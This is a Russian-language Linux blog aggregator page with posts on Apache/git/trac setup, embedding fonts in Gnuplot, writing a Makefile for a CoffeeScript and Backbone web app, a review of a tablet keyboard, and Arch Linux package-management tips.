RuNIX.org — планета блогов о *NIX на русском языке

Настройка Apache + git + trac — Linux Maniacs

Для хранения кода своих мелких проектов я частенько использую репозитории обычно или git или svn и систему багтрекинга trac. Ниже для того, чтобы не забыть как это настраивается опишу все шаги на примере Ubuntu 10.10 1. Установка необходимого софта. Устанавливаем весь необходимый софт: $ apt-get install apache2 git subversion postgresql trac python-psycopg2 libapache2-mod-python Включаем

Собираем несколько PDF файлов в один — STALKER`s project::Blog

Появилась на Хабре статья про книгу по информационной безопасности и криминалистике Форензика. Компьютерная криминалистика. Н.Н. Федотов, книга абсолютно бесплатно доступна для скачивания на сайте автора: http://forensics.ru/. Захотелось мне эту книгу почитать на читалке, и все было классно пока не обнаружилось что книга разбита на 11 файлов Ну, не было еще такой задачи которую нельзя было [...]

Андрей Мавлянов

Установка Oracle Java SE в Debian/Ubuntu — Digital Activity » Computing

Не так давно Oracle объявила об отзыве лицензии, согласно которой дистрибьютеры ранее могли самостоятельно пакетировать бинарные сборки Oracle Java и распространять их со своим продуктом (например так делали все ведущие дистрибутивы, включая Debian и Ubuntu). Ну они-то отозвали, а пользоваться … Continue reading

Настраиваем строку статуса — Всё о Vim

В Виме есть два элемента интерфейса, выполняющие похожие функции. Это линейка (ruler) и строка статуса (statusline). Линейка по умолчанию включена и показывает информацию о текущей строке и номере колонки в правом нижнем углу экрана. Выводом информации о текущей строке возможности линейки не ограничиваются и форматом вывода можно управлять через опцию rulerformat. Как только мы начинаем

Столлман про facebook и цензуру в интернете — Журнал Витуса.

In a free society, one should be prepared to get offended. Otherwise it’s tyranny.

Фраза просто чеканная. Молодец, RMS.

This entry was originally posted at http://vitus-wagner.dreamwidth.org/699629.html. Please comment there using OpenID. Now there are comment count unavailable comments

Почему «mysqldump db | gzip > bak.gzip && echo OK», не «ОК» — STALKER`s project::Blog

У вас тоже есть такие скрипты? Тогда возможно вы будете удивлены, но OK будет у вас всегда! Кто виноват и что делать: http://jsirex.livejournal.com/19200.html

И еще про вики — Журнал Витуса.

Комментаторы в предыдущем посте таки сподвигли меня продолжить рассмотрение дистрибутива.

B и нарыл я там ikiwiki.. Насколько я понимаю, это примерно тот зверь, которого я хотел создать под названием stilllife, но так и не доделал.

То есть это движок, который по окончании операции редактирования/комментирования генерирует статическую HTML-ку.
И поддерживает еще тут же копирование ее rsync-ом куда надо.

И openid аутентификация выглядит у почти ровно так, как мне бы хотелось.

И поддерживают они еще и блог, помимо wiki. Так что поразбираюсь, может быть реализую наконец давнюю мечту и пошлю далеко-далеко американские блогсайты с ихними жесткими ToS.

Upd На сайте имеет место 22-килобайтная страница Security в которой помимо всего прочего написано "Note that ikiwiki runs with perl taint checks on". И при каждом исправленном security баге указывается не только версия самого ikiwiki где оно пофиксено, но и версии пакета из Debian stable, куда фикс бэкпортирован.

This entry was originally posted at http://vitus-wagner.dreamwidth.org/698244.html. Please comment there using OpenID. Now there are comment count unavailable comments

vanoc

ncdu статистика использования диска — vanoc.ru » runix

Консольный аналог статистики использования диска kdusader-a и т.п. Простая и удобная утилита. IMHO придется по вкусу тем, кому недостаточно дефолтного du.
Понравилось возможность выводить информацию по определенным разделам.
sudo ncdu -x /

Утилита умеет удалять, пересчитывать, сортировать и прочее. Полная информация в man и shift+? в программе.

SamaraPy — Deepwalker

Зависть великая штука. Побывав на PyConUA я заразился чудной атмосферой живого общения с едино и разномышленниками. Я не уверен, что получится в Самаре найти достаточное число участников для SamaraPy, который более будет похож поначалу на KievPy, но я попробую.

Подробности будут тут http://vk.com/club34256705

В конце концов оказался же в этом городе Я!

FreeSWITCh, love over — Deepwalker

Я больше не занимаюсь FreeSWITCH по нескольким причинам. Первая - я теперь не сетевой администратор с горкой АТС, и не работаю в VoIP стартапе.

Вторая - считаю разработчиков FreeSWITCH-а неадекватными по нескольким пунктам.

1. Прием патчей. Когда у нас глюкало видео я искал проблему и нашел ее. Создал патч и отправил в жиру. После месяца боданий патч был принят с формулировкой "а предыдущий пацанчик говорил что все работает отлично, но вы достали, хрен с вами". Многообщающе.

2. Использование DMCA для блокировки репозитория с кодом g729 кодека. Нормальные люди вначале пишут и говорят - у вас тут мои копирайты, вы поправьте. В общем мне их мотивировка неясна - их права никак не были нарушены, но шило в попе творит чудеса.

В общем как для профессионального разработчика для меня FreeSWITCH это один сплошной дурдом. Без причин с ним возиться я с ним возиться никакого желания не имею.

Внедрение шрифтов в графики Gnuplot — Записки дебианщика

Как всегда, беда пришла, и её совсем не ждали. Организаторы конференции SPIE, в которой я заядлый участник, что-то там поменяли в своей системе приёма PDFников статей. Теперь система Numbus Roman не переваривает, и заменяет его чудовищным Courier. Вопрос о внедрении английских шрифтов в графики, созданные gnuplot, встал в полный рост. Летопись героической победы приложенных титанических усилий прилагается.


Загудели, заиграли провода!
Вы такого не видали никогда!
(С) песня советских времён.


Приводимый ниже рецепт успешно опробован на Gnuplot Version 4.2 patchlevel 2 и Debian GNU/Linux "Lenny" v5.0.

Нужон внедрёж!
Пациент выглядит вот так:
#! /usr/bin/gnuplot -persist
set terminal postscript "NimbusSanL-Regu" eps enhanced color
set output "./plots/plotresults_vonkarman.ps"
set logscale x
set format x "10^{%L}"
set logscale y
set format y "10^{%L}"
set style line 1 lt 1 pt 7
set xrange [10**(0):10**(3.4)]
set key top left
set grid
set bmargin 4
set xlabel "Frequency, [Hz]" font "NimbusSanL-Regu,18"
set ylabel "Power [dB/Hz]" font "NimbusSanL-Regu,18"
plot "./results_vonkarmanpsd.numdata" using 1:2 with points linestyle 1
Чтобы узнать, внедрены в график шрифты или нет, нам нужны утилита pfbtops.

Если её нет, при попытке использовать приводимое ниже решение вы увидите такие матюги:
line 0: Command 'pfbtops /usr/share/texmf-texlive/fonts/type1/urw/helvetic/uhvr8a.pfb' generated error, exitcode is 32512

Ради неё придётся ставить пакеты groff и psutils:
aptitude install groff psutils
Это нам даст:
Чтение списков пакетов... Готово
Построение дерева зависимостей
Чтение информации о состоянии... Готово
Чтение информации о расширенных состояниях
Инициализация состояний пакетов... Готово
Чтение описаний задач... Готово
Следующие НОВЫЕ пакеты будут установлены:
groff psutils{a}
0 пакетов обновлено, 2 установлено новых, 0 пакетов отмечено для удаления, и 244 пакетов не обновлено.
Необходимо получить 1998kB архивов. После распаковки 5894kB будет занято.
Хотите продолжить? [Y/n/?]
Да, мы хотим. Теперь у нас всё есть - посмотрим, внедрены ли шрифты:
$ epstopdf plotresults_vonkarman.ps
и далее:
$ pdffonts plotresults_vonkarman.pdf
Выхлоп этой команды будет в виде:
name type emb sub uni object ID
------------------------------------ ----------------- --- --- --- ---------
Courier Type 1 no no no 8 0
Подсвеченное красным говорит нам всё: шрифты не внедрены. А жаль. Сейчас поправим. Решение выглядит вот так:

#! /usr/bin/gnuplot -persist
set terminal postscript "NimbusSanL-Regu" eps enhanced color fontfile "/usr/share/texmf-texlive/fonts/type1/urw/helvetic/uhvr8a.pfb"
set output "./plots/plotresults_vonkarman.ps"
set logscale x
set format x "10^{%L}"
set logscale y
set format y "10^{%L}"
set style line 1 lt 1 pt 7
set xrange [10**(0):10**(3.4)]
set key top left
set grid
set bmargin 4
set xlabel "Frequency, [Hz]" font "NimbusSanL-Regu,18"
set ylabel "Power [dB/Hz]" font "NimbusSanL-Regu,18"
plot "./results_vonkarmanpsd.numdata" using 1:2 with points linestyle 1
Собственно, нужно вставить:
set terminal postscript "NimbusSanL-Regu" eps enhanced color fontfile "/usr/share/texmf-texlive/fonts/type1/urw/helvetic/uhvr8a.pfb"
с точным указанием пути к шрифту. Теперь нашему графику должно полегчать:
$ epstopdf plotresults_vonkarman.ps
$ pdffonts plotresults_vonkarman.pdf

name type emb sub uni object ID
------------------------------------ ----------------- --- --- --- ---------
ZEVCBJ+NimbusSanL-Regu Type 1C yes yes no 8 0

Так и есть! Теперь графики содержат шрифты, и всё в статье будет так, как мы хотим того.

Ссылки
Решение творчески переосмыслено
здесь.

Прогресс в глазах — Aceler online

Имея возможность из-под Ubuntu 11.04 запускать терминальное подключение к Ubuntu 11.10 очень сильно заметна разница в отрисовке шрифтов — она заметно лучше в новой версии.

Запись опубликована Aceler online. Вы можете оставить комментарии там, их уже .

Showkr - приложение в браузере — solovyov.net

Я за последние пару-тройку недель по вечерам и выходным понемногу сделал дикий, но симпатичный (и, может, полезный) сайт Showkr. И решил рассказать миру о том, зачем и как я это сделал - я думаю, что вторая часть может пригодиться, учитывая растущую популярность приложений в браузере.

Зачем

У фликра довольно тяжелые страницы, и когда смотришь целый сет фотографий - утомительно ждать, пока каждая следующая загрузится и отрисуется (я вот только что попробовал, от нажатия кнопки до рендера где-то до секунды проходит на быстром интернете).

А тут, получается, открыл, дождался ответа апи фликра, и сиди себе просматривай, оно всë на одной странице. Тем более, что созданы все удобства - фотки, комментарии и хоткеи: поддерживается всë, что имеет хоть какой-то смысл - j/k, up/down, space/shift+space. Welcome!

Как

Первый момент, который мне сохранил кучу времени - это Twitter Bootstrap. Тут мне рассказывать особенно нечего, если вы его не знаете - теперь будете знать. Хороший CSS framework, экономит тучу времени.

Make

Второй момент - GNU Make. Я никогда толком не умел писать мейкфайлы - был испуган в детстве результатами запусков autoconf/automake. Но какое-то время назад я начал юзать мейкфайлы, как рубисты юзают рейк - для каких-то мелких задачек. Чисто как организатор шелл-команд, короче.

Но какое-то время назад я понял, что пришла пора. CoffeeScript хочет стать джаваскриптом, темплейты хотят стать джаваскриптом, индекс.хтмл хочет быть разным для разработки и работающего сайта, и все они не хотят это делать, когда не нужно.

И вырос прекрасный и довольно понятный мейкфайл. И сейчас я процитирую основные моменты, чтоб не только я, но и другие такие же необразованные (кто не знает классики - необразован, правда?) могли проникнуться полезностью.

Основы

Итак, у меня есть директория с кофескриптовыми файлами, я хочу их превратить в джаваскрипт (включать кофескрипт на клиент-сайд - моветон имхо, зачем нам лишние тормоза). Начнëм с того, что у нас есть эти самые файлы:

SOURCE = $(wildcard app/*.coffee)

И правило, чтоб их скомпилить:

build/%.js: app/%.coffee
    @mkdir -p $(@D)
    coffee -pc $< > $@

Всë это выглядит немного стрëмно, но я сейчас объясню, а с внешним видом можно жить - это на самом деле довольно неплохой DSL, хотя можно и поприятнее сделать было бы. В мейкфайле есть:

  • переменные
  • функции
  • правила

Всë остальное пока не волнует. У нас здесь есть переменная SOURCE, которой присваивается результат исполнения функции wildcard. И переменные, и функции раскрываются с помощью оборачивания в конструкцию $(...) (исключая однобуквенные переменные, тогда просто $x). Функции, конечно, еще параметров хотят.

Что-то с двоеточием и строками с отступами - это правило. Говорит нам, что файл, который заканчивается на .js и находится в директории build/, зависит от файла с точно таким же именем, только в директории app/ и с расширением .coffee.

В правиле есть две инструкции. Эти инструкции - это вызов обычных команд, причëм каждая инструкция запускается в своëм инстансе шелла (переменные не сохраняются). Каждая инструкция во время выполнения выводится на экран как команда, или, если она начинается с @ (как наш мкдир) - не выводится.

Еще мейк внутри правила даëт какое-то количество переменных с видом разной степени стрëмности. $@ - файл-цель (который мы хотим получить), $< - его первая (здесь - и единственная) зависимость. $(@D) - родительская директория файла-зависимости. Я забил на слежение за тем, чтоб директории были созданы заранее, и просто создаю их в каждом правиле, которое пишет в файлы, первой строкой. Паттерн "хватит беспокоиться". ;)

И теперь мажорный аккорд, правило, которое заставит это работать:

all: $(patsubst app/%.coffee, build/%.js, $(SOURCE))

Это правило идëт первым, чтоб запуск просто make запускал его, и говорит нам, что правило all зависит от таких-то файлов (а правило для постройки этих файлов мы определили выше по тексту). От каких файлов - от всего в $(SOURCE), только надо заменить app на build, а coffee на js - ну, понятно, компиляция зависит от того, чтоб в директории билд были все нужные джаваскриптовые файлы. А каждый файл зависит уже (определили раньше) от кофескриптового.

Теперь запуск make в директории скомпилирует каждый файл в джаваскриптовый. Кроме того, если еще раз запустить make, то он запустит обработку только тех файлов, которые изменились - он смотрит на время изменения файла и не делает лишних движений.

Казалось бы, зачем это надо, если coffee -bco build/ app/ сделает то же самое. Ну, во-первых, то же самое он не сделает - он не следит за временем изменения, а компилирует всë (и всего может случайно стать много), а во-вторых, не кофескриптом единым! Но не будем забегать вперëд.

Зачистка

Итак, у нас есть первая инкарнация мейк-файла:

SOURCE = $(wildcard app/*.coffee)

all: $(patsubst app/%.coffee, build/%.js, $(SOURCE))

build/%.js: app/%.coffee
    @mkdir -p $(@D)
    coffee -pc $< > $@

Что тут неплохо бы подчистить? Ну, нам не нужен список исходных файлов. Только результатов, поэтому заменим начало на такое:

SOURCE = $(patsubst app/%.coffee, build/%.js, $(wildcard app/*.coffee))

all: $(SOURCE)

Ещëëë

Теперь проще понять, чего хочет главное правило - оно хочет исходники! Ок, понятно. Чего еще нам надо? Нам надо вот это всë динамически сгенерированное запихать в index.html.

Маленькое отступление: фактически в showkr'e у меня не используется require.js, потому что мне лень скрещивать ender с ним, а потому загрузка модулей синхронна и все файлы хотят быть загружены прямо из индекса. В ином случае этого бы момента не было и индекс был бы статическим, но, мне кажется, это хороший повод порисовать еще правил. Итак.

Для начала наше главное правило захочет еще index.html:

all: $(SOURCE) build/index.html

Что делать с индексом? Я решил не ломать себе мозги, а взять awk (еще одна штука, про которую стоит знать) и... В общем, индекс выглядит как-то так:

...
<head>
...
<!-- js-deps -->
</head>
...

И у меня есть прекрасный скрипт на awk, который берëт переменную DEPS из окружения (со списком зависимостей) и влепляет в хтмл:

/<!-- js-deps -->/ {
    split(ENVIRON["DEPS"], DEPS)
    # this way it goes from 1 to 9 instead of random ordering
    for (i = 1; DEPS[i]; i++)
        printf("<script type=\"text/javascript\" src=\"%s\"></script>\n", DEPS[i])
    next
}

1 # print everything else

Я мог бы расписывать, как работает авк, но давайте вы лучше почитаете на английском, на русском, или вообще что-нибудь еще.

Правило при этом для постройки индекса выглядит так:

build/index.html: index.html $(SOURCE)
    @mkdir -p $(@D)
    DEPS="$(SOURCE:build/%=%)" awk -f build.awk $< > $@

Что у нас новенького? Ну, убираем имя директории, ссылаясь на переменную с заменой (аналогично тому $(patsubst ...), что мы использовали раньше). Вроде всë, создали директорию, авк прочитал файл, изменил, мы его направили в нашу цель ($@ == build/index.html). Красота.

Теперь make при запуске сначала скомпилирует наш кофескрипт (если надо), а потом index.html. Ура.

Публичная версия

А теперь надо собрать версию для сайта - один джаваскриптовый файл. Отлично:

prod: all prod/app.js prod/index.html

prod/index.html: index.html
    @mkdir -p $(@D)
    DEPS="app.js" awk -f build.awk $< > $@

prod/app.js: $(SOURCE:build/%=prod/%)
    @mkdir -p $(@D)
    cat $^ | uglifyjs > $@

Теперь make prod возьмëт все зависимости prod/app.js (вспомните, $^ - это все зависимости правила) и минифицирует их в нужный нам файлик. И скомпилирует еще index.html.

Надо сказать, что меня эти замены директорий в переменных серьëзно раздражают, поэтому мы сейчас этот момент зачистим. Итак, результат трудов вместе с зачисткой:

SOURCE = $(patsubst app/%.coffee, %.js, $(wildcard app/*.coffee))

all: $(addprefix build/, $(SOURCE) index.html)

build/%.js: app/%.coffee
    @mkdir -p $(@D)
    coffee -pc $< > $@

build/index.html: index.html $(addprefix build/, $(SOURCE))
    @mkdir -p $(@D)
    DEPS="$(SOURCE:build/%=%)" awk -f build.awk $< > $@

prod: all $(addprefix prod/, app.js index.html)

prod/index.html: index.html
    @mkdir -p $(@D)
    DEPS="app.js" awk -f build.awk $< > $@

prod/app.js: $(addprefix prod/, $(SOURCE))
    @mkdir -p $(@D)
    cat $^ | uglifyjs > $@

Может, еще немножко?

Вот такой отличный мейкфайл. А теперь добавим сюда темплейты! Они лежат в директории app/templates и имеют расширение .eco, а результаты будут иметь расширение .eco.js (чтоб отличать от просто .js).

TEMPLATES = $(patsubst app/%, %.js, $(wildcard app/templates/*.eco))

all: $(addprefix build/, $(TEMPLATES) $(SOURCE) index.html)

build/templates/%.js: app/templates/%
        @mkdir -p $(@D)
    ./eco.js $< $(<:app/%=%) > $@

prod/app.js: $(addprefix prod/, $(TEMPLATES) $(SOURCE))
    @mkdir -p $(@D)
    cat $^ | uglifyjs > $@

Здесь ./eco.js - самописный скрипт для вызова компиляции эко-темплейтов, который применяет к результату нужную мне обëртку. Первым параметром у него путь к файлу, а вторым - имя, под которым темплейт будет известен (templates/something.eco). Темплейты будут сминифицированы в один файл с приложением.

Важные моменты

У меня важен порядок файлов джаваскриптовых, поэтому я просто задаю их руками:

SOURCE = $(patsubst %,%.js,util api models viewing browsing showkr)

А выше показан вариант относительно того, когда устраивает сортировка по алфавиту.

Функция wildcard не умеет рекурсивно находить файлы, поэтому если есть поддиректории в структуре, то я использую $(shell find ...) - обычный find.

Ну вот и всë, надеюсь, что какие-то базовые основы я рассказал понятно, а полный код Makefile'а (ссылка стоит на ту версию, которая существовала на момент написания статьи) можно найти в репозитории.

Архитектура

Вернëмся к собственно самому приложению. Оно построено на backbone.js, который сейчас самая модная библиотека для мвц на джаваскрипте, наверное. Бэкбон стоит того - он не пытается скрыть детали имплементации (как эмбер, например - его я тоже пробовал), но организует всë отлично.

Ядро

Центральная часть приложения - Router Showkr. С его инициализацией запускается приложение.

Основная функция, помимо роутинга (вызова нужной функции по адресу в хеше), - управление вьюхами. Роутер умеет создавать View по уникальному идентификатору и переключаться между уже созданными. Раз созданные, вьюхи не уничтожаются, чтоб второй раз за сессию не ждать от фликра одних и тех же данных.

Остальное

А дальше всë банально - вьюхи инициализируют модели и внутренние вьюхи, модели качают данные с фликра (используя переопределëнные методы sync и parse).

У большинства моделей есть какая-нибудь вложенная коллекция, поэтому получилась иерархия User -> SetList -> Set -> PhotoList -> Photo -> CommentList -> Comment. Вложенные коллекции инициализируются в инициализации модели, fetch запускается там, где это имеет больше смысла - фотки качаются сразу после того, как скачался сет, а комментарии - после того, как отрисовалась фотография.

Честно говоря, писать подробный туториал по бэкбону желания особенного нет - их уже много. Так что, если интересно, то стоит пойти посмотреть на исходники.

Эпилог

У меня были мысли приделать поддержку Пикасы еще, но немного лениво - я сам ею не пользуюсь, а работы хватает, привести два довольно разных апи к общему знаменателю... Ну и это не тема этой статьи (хотя если кому-то хочется, патчи я с радостью принимаю).

Я хотел сказать, что если вдруг остались или возникли вопросы, пишите мне - я либо отвечу там, либо дополню статью. Надеюсь, что она была полезна.

gwinn

Windows, Linux, VirtualBox. Немного об извращениях. — Free Runner » linux

Почему извращаемся с Windows? Давайте представим себе некоторую абстрактную ситуацию, в которой заядлому линуксоиду приходится, в следствие должностных обязанностей, плотно засесть под Windows. При этом, часть его работы подразумевает ряд операций, которые, если не Linux-only, то в нем, родимом, выполняются куда как сподручнее. При этом, основную часть времени ему все таки придется проводить в Windows, [...]
gwinn

Деннис Ритчи. Не стало еще одного IT пионера. — Free Runner » linux

8 октября в возрасте 70 лет скончался один из отцов основателей того мира, без которого мы уже не мыслим свое существование. Репост записи, которую сделал Роб Пайк, я увидел только сегодня. Деннис Ритчи — один из авторов языка Си и один из ключевых разработчиков операционной системы Unix. Он внес неоценимый вклад в то, без чего [...]

Смотрим фильмы on-line с помойщью mplayer — Linux & Life

Некотрые on-line файлохранилища, например ex.ua, fs.ua позволяют получить прямую ссылку для скачивания.

Читать>>

Обзор клавиатуры для Lenovo Thinkpad Tablet — Записки дебианщика

Для начала расскажу откуда вообще появилась идея купить планшет. Во-первых, как и автору данного блога, мне приходится читать много научных статей. Вторым фактором послужила моя нелюбовь к московским пробкам и, соответственно, довольно много времени проводимого в метро и электричке.


Электронные книги не подходили из-за неудобства чтения документов с формулами, хотя технология e-ink является для меня неоспоримым преимуществом благодаря меньшей нагрузке на глаза. В результате всех этих соображений мой первый выбор пал на планшет NoitionInk Adam, использующий гибридную технологию экрана, позволяющую работать как в режиме LCD, так и e-ink. Впрочем, индусский производитель потерял потенциального клиента в лице меня после того, как сначала долго задерживал выпуск планшета, а потом начал отправлять его только по предзаказу, причем время доставки доходило до 3-х месяцев. Зато в процессе чтения форума NoitionInk я впервые наткнулся на информацию о тогда еще готовящемся к выходу планшете Lenovo Thinkpad Tablet. К тому времени я сменил работу и возникла потребность не только читать научные и технические статьи, но и делать некоторые наброски формул и графиков, а также иметь возможность быстро отвечать на электронную почту. К тому же, проработавший несколько лет ноутбук Lenovo служил доказательством того, что этому производителю можно доверять.

Внешний вид
Далее речь пойдет о клавиатуре, поскольку о самом планшете прекрасно рассказал автор этого блога.

Чего я ждал...
Чехол с клавиатурой позиционируется компанией Lenovo в первую очередь именно как чехол с дополнительной приятной фичей в виде клавиатуры.

Так они выглядят вместе


И на всех фотографиях выглядит как-то достаточно небольшим по сравнению с самим планшетом. По крайней мере именно так он был воспринят мной. Ход моих мыслей, когда я выбирал такую конфигурацию, был приблизительно следующий: "Все равно надо будет покупать чехол, а тут он будет еще и с клавиатурой. Ну да, понятно, что он будет немного больше, чем обычный чехол, но вроде не сильно."

А на самом деле:
Когда все это богатство приехало ко мне домой в одной огромной коробке и было быстренько распаковано и собрано вместе, радость моя немного поблекла. Чехол оказался чем-то таким, что использовать именно в качестве чехла не представлялось возможным. Во-первых, он довольно большой, т.е. толщина планшета в чехле в два раза больше толщины самого планшета.

Толщина планшета в чехле

Во-вторых, использовать планшет, загнув половинку с клавиатурой назад, очень неудобно из-за нечаянных нажатий клавиш, а отключить клавиатуру программно возможности нет. Чтобы планшет устойчиво стоял на клавиатуре, она должна быть расположена на ровной и практически горизонтальной поверхности, т.е. положить клавиатуру на колени и понабирать текст, скорее всего, не получится. Ну и напоследок, вынимать и вставлять планшет одной рукой невозможно из-за тугого разъема USB и фиксатора сверху.

С другой стороны, выглядит чехол здорово - черная кожа с выдавленными надписями "Lenovo" и "Thinkpad". Кнопки полноразмерные (за исключением некоторых под правым мизинцем), тихие, нажимаются четко.

В закрытом виде

Клавиатура практически полноразмерная

Trackpoint (красный джойстик мыши в середине клавиатуры - фирменная фишка серии Thinkpad еще со времен IBM) на самом деле является оптическим trackball'ом, т.е. по типу использования скорее близок к touchpad'у, что, подозреваю, для многих будет преимуществом.

У некоторых пользователей были претензии к разъему USB, якобы он ломается, но мне кажется, что благодаря направляющим, нечаянно сломать его очень тяжело.

Разъем USB и направляющая

Что приятно, инженеры учли, что пользователю может понадобиться стилус, когда планшет находится в подставке, хотя невозможность воспользоваться USB-портом в такой конфигурации сильно удручает.

Удобно доставать ручку

Программный интерфейс
Программный интерфейс клавиатуры в первый момент повергает в шок. Точнее не в первый, а во второй, поскольку пока вы пользуетесь английской раскладкой, все здорово и прекрасно, но как только захотите переключиться на русский язык, начнутся чудеса. Во-первых, комбинации клавиш для смены раскладки нет. Т. е. ее можно сменить только через меню смены клавиатуры. В принципе, это делается парой нажатий на тачскрин или несколькими кнопками на клавиатуре, но все-таки отнимает больше времени, чем привычная комбинация клавиш. Это сильно мешает, если вам приходится часто менять раскладку (например, вы постоянно используете в русском тексте слова "Thinkpad" и "Lenovo").

Во-вторых, обе предустановленные русские клавиатуры (Android keyboard и FlexT9) правильно работают в режиме экранной клавиатуры, но в паре с клавиатурой от Lenovo печатают букву "е" вместо "н" (Android keyboard) и некоторые буквы только в верхнем регистре (FlexT9). После обновления системы эти ошибки не исчезли.

К счастью, эти недостатки легко устраняются путем установки другой клавиатуры. Я использую "Russian keyboard", которая тоже не идеальна, но по крайней мере правильно набирает буквы и позволяет переключать раскладку по Shift+Space. Заодно советую сменить и экранную клавиатуру, мне лично нравится "Hacker's Keyboard".

Клавиатура без планшета

Также стоит отметить, что далеко не весь софт под Android рассчитан на работу с полноценной клавиатурой. Например, Opera не позволяет перемещаться по полям ввода посредством клавиши Tab. А уж про постоянные попытки использовать Ctrl+C и Ctrl+V я вообще молчу.

Итог
Произведшая вначале крайне негативное впечатление клавиатура через несколько дней использования начинает нравиться и кажется вполне удобной. Хотя ниша ее использования достаточно невелика (если вам часто приходится набирать тексты, уж лучше купите хотя бы нетбук, а если наоборот, достаточно редко, то ее достоинства не окупят недостатков в виде большого веса, габаритов и цены), людям, которым нужен именно планшет, но иногда приходится набирать много текста, клавиатура придется по душе.

faces/muhas.png

Арчеёлка уже рядом! — muhas — Заметки аскетичного гика

Пусть Новый год, что ожидаем уже мы через пару дней
Твой линукс сделает комфортней и для тебя и для друзей.

С наступающим!!!

С наступающим новым годом!
Кажется, письмецо моё прошлогоднее дедушка Мороз вскользь посмотрел и частично исполнил в проходящем году некоторые просьбы, за что ему нижайший поклон.
Дедушка Мороз, спасибо тебе, теперь я знаю что ты есть!
faces/muhas.png

Arch Tips & FAQ — muhas — Заметки аскетичного гика

ArchLinux tips & faqХотелось собрать ответы на некоторые вопросы и кое-какие арчеспецифичные советы для новоиспеченных пользователей ArchLinux в одном месте, дабы давать им эту ссылку сразу после того как они бегло просмотрели арчевики (и почему они её не читают?).

В итоге получился такой небольшой ArchTips с элементами FAQ, с преферансом и поэтессами. Надеюсь что для себя здесь найдет что-то полезное не только новичок в арче...

Естественно, что бы не повторятся я старался не касался вопросов из Arch FAQ c арчевики, но постарался сдобрить свои графоманские замашки ссылками на арчевики, зачастую специально не договаривая дабы дать лишний повод её почитать. Поверьте, оно того стоит...

<cut text="Итак, начинаем ArchTips"></cut>

Маленький Arch Tips

Что такое AUR?
AUR — Arch User Repository, пользовательский репозитарий Arch. Место где хранится уйма пользовательских PKGBUILD'ов — файлов описания для сборки пакета из исходников с помощью программы makepkg являющуюся частью pacman.
Естественно что для установки из исходников понадобится компилятор и прочие вещи для разработчиков, в ArchLinux базовая их часть находится в группе пакетов base-devel. Группы пакетов устанавливаются так же как и один пакет
pacman -S base-devel
Не буду расписываться о подробностях, коих вполне навалом тут (бывшим гентушникам настоятельно рекомендую обратить внимание на строки и ссылки про makepkg.conf)

Установка из AUR
1. Скачать PKGBUILD и другие требуемые файлы (install файл, патчи, etc). Все они содержатся в архиве, доступном по соответствующей ссылке «Архив» («Tarball» в англоязычной версии AUR’а);
2. Перейти в директорию, содержащую PKGBUILD и выполнить makepkg (команда «makepkg -s» установит и зависимости, если они не в AUR);
3. Установить получившийся пакет с помощью pacman:
pacman -U /path/to/pkg.tar.gz

Или воспользуемся какой-нибудь утилитой для упрощения сего дела. Правда такие утилиты никогда не попадут в официальный репозитарий арча по уйме причин, но их можно всегда найти в AUR. Ниже немного об одной из самых популярных утилит такого плана.

Установка yaourt
Многие арчеводы просто не представляют себе жизни без yaourt — консольной оболочке для пакетного менеджера pacman и пользовательского репозитария AUR.
Помимо того что он есть в AUR (PKGBUILD), его можно поставить из французского репозитария всего лишь добавив в /etc/pacman.conf строки
[archlinuxfr]
Server = http://repo.archlinux.fr/i686
и обновив список пакетов (pacman -Sy) установить как
pacman -S yaourt
Работает yaourt аналогично пакману за исключением того что ищет и может устанавливать пакеты не только из репозитория но и из AUR, ну и имеет дополнительные возможности узнать о которых можно в мане или в какой-нить статье в сети с его описанием...
Есть схожие по функционалу проекты — clyde, paktahn, packer (о последнем я писал packer — облегчаем установку пакетов, да и на paktahn обращал свой взор)

Дополнительный репозитарии
В сети уйма дополнительных репозитариев, не забываем что после того как вы добавили какой-нибудь из них в pacman.conf необходимо обновить список пакетов в нем с помощью pacman -Sy
Учтите что не все из них живые или в них рабочий софт, хотя это относится не только к арчу...

Репозитарии testing и unstable
Как следует из названия в нем расположены тестовые пакеты которые по тем или иным причинам ещё не удостоились звания «стабильный» (пользователи debian stable могут тут поехидничать).
Если у вас есть желание поставить что-либо из тестинга, но нет желания полностью его использовать, то можно добавить его в самый конец pacman.conf. Благодаря тому что приоритеты репозитарии имеют тупо по очереди, то все обновления будут идти из core/extra/community, а из testing можно будет поставить отдельный пакет с помощью
pacman -S testing/имя_пакета

Так же существуют gnome-unstable и kde-unstable,

ArchLinux x86_64 и multilib
Не секрет, что друзья не растут в огороде что некоторых приложений под x86_64 просто-напросто не существует. Но есть возможность устанавливать 32-х битные приложения в окружении x86_64. В ArchLinux для этого существует репозитарий multilib с годными skype, flashplugin, wine и прочим...
Так что не забываем разкомментировать этот репозиторий в /etc/pacman.conf
У multilib так же есть свой тестинг multilib-testing.

Пропуск обновления пакетов
Тынц. Кстати, там же в pacman.conf есть опция CleanMethod = KeepCurrent позволяющая отчищать в кэше устаревшие пакеты дабы этот самый кэш постоянно не рос после обновления, и опция XferCommand позволяющая сменить загрузчик пакетов из сети....

Собственный репозиторий
В арчевики есть статья Custom Local Repository, в которой все достаточно хорошо описано. От себя добавлю — если у вас уйма старых и новых версий пакетов в одном каталоге (к примеру, из кэша /var/cache/pacman/pkg/), то удалить старье можно с помощью утилиты repo-clean (В AUR'е пакет repo-clean-xz)

После обновление всё сломалось — что делать?
Если у вас всё сломалось то с вероятностью в 90% вы ССЗБ ибо не читаете арченовости и арчевики, используете тестинг, накосячили в настроках или ещё где... В остальных же случаях спасают обновление/пересборка/downgrading нужного пакета. Бывает что-то отваливается по причине того что сама программа теперь работает абсолютно по другому и разработчики это не учли, но такие случаи редки, хотя в своем большинстве вы этого просто не заметите...

Downgrading пакетов
Тут уж либо пересборкой из ABS или иным способом, либо использовать старые репозитарий (статус многих зеркал можно посмотреть тут). Но есть у ArchLinux и машина времени — Arch Rollback Machine, где можно найти старые пакеты.
И не забываем что те пакеты которые у вас уже устанавливались из репозитариев остаются лежат в /var/cache/pacman/pkg/, и повторно их можно установить как
pacman -U /var/cache/pacman/pkg/имя_файла
.
Так же в AUR имеются програмки для отката версии пакета, к примеру, downgrader и downgrade

Обновление конфигов при обновлении пакетов
В Arch довольно-таки простой пакетный менеджер который не сравнивает текущий и новый конфиг в пакете, а просто при необходимости создает конфиг с припиской .pacsave или .pacnew, который пользователю предстоит сравнить руками визуально и при необходимости внести соответствующие изменения. Для упрощения сего дела существует утилита dotpac показывающая в интерактивном режиме разницу между созданными при обновлении конфигов с текущими и предложит внести изменения. Есть и pacdiff работающий схоже и входящий в состав pacman-contrib

Ускоряем менеджер пакетов
